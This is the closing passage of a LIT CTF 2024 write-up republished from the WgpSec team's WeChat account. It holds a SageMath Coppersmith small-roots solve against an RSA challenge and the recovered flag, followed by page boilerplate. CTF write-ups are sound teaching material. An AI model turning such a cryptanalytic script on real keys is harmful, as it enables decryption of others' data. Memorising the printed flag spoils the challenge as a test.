n = 237028545680596368677333357016590396778603231329606312133319254098208733503417614163018471600330539852278535558781335757092454348478277895444998391420951836414083931929543660193620339231857954511774305801482082186060819705746991373929339870834618962559270938577414515824433025347138433034154976346514196324140384652533471142168980983566738172498838845701175448130178229109792689495258819665948424614638218965001369917045965392087331282821560168428430483072251150471592683310976699404275393436993044069660277993965385069016086918288886820961158988512818677400870731542293709336997391721506341477144186272759517750420810063402971894683733280622802221309851227693291273838240078935620506525062275632158136289150493496782922917552121218970809807935684534511493363951811373931
PR.<x> = PolynomialRing(Zmod(n))
f = CT-x
f=f.monic()
x0 = f.small_roots(X=2^495, beta=0.4)[0]
print(x0)
print(long_to_bytes(60965654970030129970875646360691028863834768066745296477272584970220423592978651541134293190647788151962693597173692744171056202434411476702928600330))
#LITCTF{I_thought_the_bigger_the_prime_the_better_:(_72afea90}



作者



LIT CTF · 2024 WriteUp

CTF战队

ctf.wgpsec.org



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


LIT CTF · 2024 WriteUp
LIT CTF · 2024 WriteUp


原文始发于微信公众号(WgpSec狼组安全团队):LIT CTF · 2024 WriteUp

版权声明:admin 发表于 2024年8月14日 下午10:01。
转载请注明:LIT CTF · 2024 WriteUp | CTF导航

相关文章